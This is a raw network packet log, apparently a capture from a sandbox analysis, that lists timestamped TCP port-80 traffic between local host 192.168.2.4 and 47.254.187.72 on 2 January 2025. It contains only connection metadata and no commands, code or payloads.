Jan 2, 2025 20:34:50.906898022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906923056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.906933069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.906965971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.907062054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907073021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907083988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907094002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907104969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907105923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.907115936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907120943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.907126904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907136917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.907157898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.907176018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.917237997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917279005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917289019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917300940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917310953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917319059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.917321920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917330980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917342901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.917350054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.917371035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.917386055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.919579029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919589996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919601917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919619083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919626951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.919640064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.919645071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919656992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919666052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.919668913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919677973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.919727087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.919727087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.920563936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920576096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920587063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920603991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.920628071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.920634031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920641899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920654058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920665026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920674086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920685053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.920696974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.920696974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.920717001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.920747042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.923518896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923530102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923540115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923549891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923559904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.923572063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923589945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.923590899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923602104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923608065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.923612118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923624039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.923636913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.923665047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.927196026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.927207947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.927231073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.927239895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.927242041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.927253008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.927272081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.927282095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.927293062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.927308083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.927336931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.928167105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.928209066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.928248882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.928260088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.928270102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.928281069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.928289890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.928292036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.928302050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.928317070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.928335905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.930922031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.930932999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.930948973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.930960894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.930969954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.930973053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.930983067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.930989027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.930994987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.931018114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.931045055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.932863951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.932882071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.932903051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.932914972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.932948112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.932959080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.932981968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.932986021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.932992935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.933002949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.933005095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.933026075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.933026075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.933044910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.933047056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.933063030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.933084011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.985604048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985644102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985655069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985663891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.985666037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985677958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985690117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985693932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.985701084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985712051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.985722065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.985740900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.985758066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.987811089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.987832069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.987843037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.987855911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.987860918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.987868071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.987878084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.987889051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.987891912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.987927914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.987947941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989459038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989471912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989483118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989492893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989505053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989505053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989515066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989527941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989527941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989557028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989573956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989749908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989762068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989772081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989801884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989805937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989824057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989825010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989835978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989845991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989845991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989857912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.989870071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.989898920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.992383003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992394924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992404938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992419958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992436886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992448092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992449999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.992458105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992470026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.992491961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.992515087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993387938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993407965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993417025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993428946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993446112 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993449926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993484974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993511915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993522882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993532896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993544102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993552923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993557930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993567944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993581057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993582964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993599892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993628025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993671894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993688107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993699074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993710041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993710995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993721008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993738890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993746042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993762016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993766069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993773937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993783951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993783951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993798018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993818045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993820906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993844986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993868113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.993904114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.993943930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.004004955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004015923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004038095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004049063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004061937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.004067898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004079103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004091978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004093885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.004101992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.004112005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.004142046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.006351948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.006370068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.006381035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.006392002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.006403923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.006402969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.006421089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.006424904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.006433964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.006453991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.006478071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.007359028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007371902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007415056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.007438898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007456064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007467031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007477045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.007477999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007491112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007500887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007507086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.007513046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.007543087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.007563114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.010325909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010380030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.010411978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010423899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010436058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010447025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010453939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.010457993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010468960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010477066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.010479927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.010509968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.010524988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.013987064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014005899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014018059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014029026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014034033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.014040947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014053106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014060020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.014065027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014091015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.014108896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.014964104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014974117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.014991999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.015002966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.015012980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.015018940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.015023947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.015034914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.015044928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.015048027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.015057087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.015069008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.015081882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.015103102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.017761946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017776012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017786980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017796993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017808914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017818928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017821074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.017832041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017844915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.017844915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.017877102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.017889977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.019921064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.019932985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.019942999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.019965887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.019973040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.019984007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.019994974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.019995928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.020006895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.020015955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.020036936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.020050049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.072525024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072539091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072549105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072561026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072571039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072583914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072596073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072639942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.072654963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.072695017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.074480057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074520111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074531078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074542999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.074548960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074562073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074573040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074584007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074589968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.074621916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.074628115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.074667931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076203108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076253891 CET	80	49730	47.254.187.72	192.168.2.4
